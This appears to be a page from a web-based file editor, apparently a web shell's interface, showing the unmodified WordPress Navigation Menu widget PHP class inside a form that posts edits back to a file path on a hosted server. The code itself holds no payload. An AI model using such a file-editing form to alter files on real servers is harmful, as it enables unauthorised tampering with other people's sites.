<h2>File Contents: /home/planet5/public_html/wp-includes/widgets/class-wp-nav-menu-widget.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-includes/widgets/class-wp-nav-menu-widget.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Widget API: WP_Nav_Menu_Widget class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement the Navigation Menu widget.
 *
 * @since 3.0.0
 *
 * @see WP_Widget
 */
class WP_Nav_Menu_Widget extends WP_Widget {

	/**
	 * Sets up a new Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 */
	public function __construct() {
		$widget_ops = array(
			&#039;description&#039;                 =&gt; __( &#039;Add a navigation menu to your sidebar.&#039; ),
			&#039;customize_selective_refresh&#039; =&gt; true,
			&#039;show_instance_in_rest&#039;       =&gt; true,
		);
		parent::__construct( &#039;nav_menu&#039;, __( &#039;Navigation Menu&#039; ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 *
	 * @param array $args     Display arguments including &#039;before_title&#039;, &#039;after_title&#039;,
	 *                        &#039;before_widget&#039;, and &#039;after_widget&#039;.
	 * @param array $instance Settings for the current Navigation Menu widget instance.
	 */
	public function widget( $args, $instance ) {
		// Get menu.
		$nav_menu = ! empty( $instance[&#039;nav_menu&#039;] ) ? wp_get_nav_menu_object( $instance[&#039;nav_menu&#039;] ) : false;

		if ( ! $nav_menu ) {
			return;
		}

		$default_title = __( &#039;Menu&#039; );
		$title         = ! empty( $instance[&#039;title&#039;] ) ? $instance[&#039;title&#039;] : &#039;&#039;;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( &#039;widget_title&#039;, $title, $instance, $this-&gt;id_base );

		echo $args[&#039;before_widget&#039;];

		if ( $title ) {
			echo $args[&#039;before_title&#039;] . $title . $args[&#039;after_title&#039;];
		}

		$format = current_theme_supports( &#039;html5&#039;, &#039;navigation-widgets&#039; ) ? &#039;html5&#039; : &#039;xhtml&#039;;

		/**
		 * Filters the HTML format of widgets with navigation links.
		 *
		 * @since 5.5.0
		 *
		 * @param string $format The type of markup to use in widgets with navigation links.
		 *                       Accepts &#039;html5&#039;, &#039;xhtml&#039;.
		 */
		$format = apply_filters( &#039;navigation_widgets_format&#039;, $format );

		if ( &#039;html5&#039; === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;

			$nav_menu_args = array(
				&#039;fallback_cb&#039;          =&gt; &#039;&#039;,
				&#039;menu&#039;                 =&gt; $nav_menu,
				&#039;container&#039;            =&gt; &#039;nav&#039;,
				&#039;container_aria_label&#039; =&gt; $aria_label,
				&#039;items_wrap&#039;           =&gt; &#039;&lt;ul id=&quot;%1$s&quot; class=&quot;%2$s&quot;&gt;%3$s&lt;/ul&gt;&#039;,
			);
		} else {
			$nav_menu_args = array(
				&#039;fallback_cb&#039; =&gt; &#039;&#039;,
				&#039;menu&#039;        =&gt; $nav_menu,
			);
		}

		/**
		 * Filters the arguments for the Navigation Menu widget.
		 *
		 * @since 4.2.0
		 * @since 4.4.0 Added the `$instance` parameter.
		 *
		 * @param array   $nav_menu_args {
		 *     An array of arguments passed to wp_nav_menu() to retrieve a navigation menu.
		 *
		 *     @type callable|bool $fallback_cb Callback to fire if the menu doesn&#039;t exist. Default empty.
		 *     @type mixed         $menu        Menu ID, slug, or name.
		 * }
		 * @param WP_Term $nav_menu      Nav menu object for the current menu.
		 * @param array   $args          Display arguments for the current widget.
		 * @param array   $instance      Array of settings for the current widget.
		 */
		wp_nav_menu( apply_filters( &#039;widget_nav_menu_args&#039;, $nav_menu_args, $nav_menu, $args, $instance ) );

		echo $args[&#039;after_widget&#039;];
	}

	/**
	 * Handles updating settings for the current Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance = array();
		if ( ! empty( $new_instance[&#039;title&#039;] ) ) {
			$instance[&#039;title&#039;] = sanitize_text_field( $new_instance[&#039;title&#039;] );
		}
		if ( ! empty( $new_instance[&#039;nav_menu&#039;] ) ) {
			$instance[&#039;nav_menu&#039;] = (int) $new_instance[&#039;nav_menu&#039;];
		}
		return $instance;
	}

	/**
	 * Outputs the settings form for the Navigation Menu widget.
	 *
	 * @since 3.0.0
	 *
	 * @global WP_Customize_Manager $wp_customize
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		global $wp_customize;
		$title    = $instance[&#039;title&#039;] ?? &#039;&#039;;
		$nav_menu = $instance[&#039;nav_menu&#039;] ?? &#039;&#039;;

		// Get menus.
		$menus = wp_get_nav_menus();

		$empty_menus_style     = &#039;&#039;;
		$not_empty_menus_style = &#039;&#039;;
		if ( empty( $menus ) ) {
			$empty_menus_style = &#039; style=&quot;display:none&quot; &#039;;
		} else {
			$not_empty_menus_style = &#039; style=&quot;display:none&quot; &#039;;
		}

		$nav_menu_style = &#039;&#039;;
		if ( ! $nav_menu ) {
			$nav_menu_style = &#039;display: none;&#039;;
		}

		// If no menus exists, direct the user to go and create some.
		?&gt;
		&lt;p class=&quot;nav-menu-widget-no-menus-message&quot; &lt;?php echo $not_empty_menus_style; ?&gt;&gt;
			&lt;?php
			if ( $wp_customize instanceof WP_Customize_Manager ) {
				$url = &#039;javascript: wp.customize.panel( &quot;nav_menus&quot; ).focus();&#039;;
			} else {
				$url = admin_url( &#039;nav-menus.php&#039; );
			}

			printf(
				/* translators: %s: URL to create a new menu. */
				__( &#039;No menus have been created yet. &lt;a href=&quot;%s&quot;&gt;Create some&lt;/a&gt;.&#039; ),
				// The URL can be a `javascript:` link, so esc_attr() is used here instead of esc_url().
				esc_attr( $url )
			);
			?&gt;
		&lt;/p&gt;
		&lt;div class=&quot;nav-menu-widget-form-controls&quot; &lt;?php echo $empty_menus_style; ?&gt;&gt;
			&lt;p&gt;
				&lt;label for=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;title&#039; ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Title:&#039; ); ?&gt;&lt;/label&gt;
				&lt;input type=&quot;text&quot; class=&quot;widefat&quot; id=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;title&#039; ); ?&gt;&quot; name=&quot;&lt;?php echo $this-&gt;get_field_name( &#039;title&#039; ); ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( $title ); ?&gt;&quot; /&gt;
			&lt;/p&gt;
			&lt;p&gt;
				&lt;label for=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;nav_menu&#039; ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Select Menu:&#039; ); ?&gt;&lt;/label&gt;
				&lt;select id=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;nav_menu&#039; ); ?&gt;&quot; name=&quot;&lt;?php echo $this-&gt;get_field_name( &#039;nav_menu&#039; ); ?&gt;&quot;&gt;
					&lt;option value=&quot;0&quot;&gt;&lt;?php _e( &#039;&amp;mdash; Select &amp;mdash;&#039; ); ?&gt;&lt;/option&gt;
					&lt;?php foreach ( $menus as $menu ) : ?&gt;
						&lt;option value=&quot;&lt;?php echo esc_attr( $menu-&gt;term_id ); ?&gt;&quot; &lt;?php selected( $nav_menu, $menu-&gt;term_id ); ?&gt;&gt;
							&lt;?php echo esc_html( $menu-&gt;name ); ?&gt;
						&lt;/option&gt;
					&lt;?php endforeach; ?&gt;
				&lt;/select&gt;
			&lt;/p&gt;
			&lt;?php if ( $wp_customize instanceof WP_Customize_Manager ) : ?&gt;
				&lt;p class=&quot;edit-selected-nav-menu&quot; style=&quot;&lt;?php echo $nav_menu_style; ?&gt;&quot;&gt;
					&lt;button type=&quot;button&quot; class=&quot;button&quot;&gt;&lt;?php _e( &#039;Edit Menu&#039; ); ?&gt;&lt;/button&gt;
				&lt;/p&gt;
			&lt;?php endif; ?&gt;
		&lt;/div&gt;
		&lt;?php
	}
}
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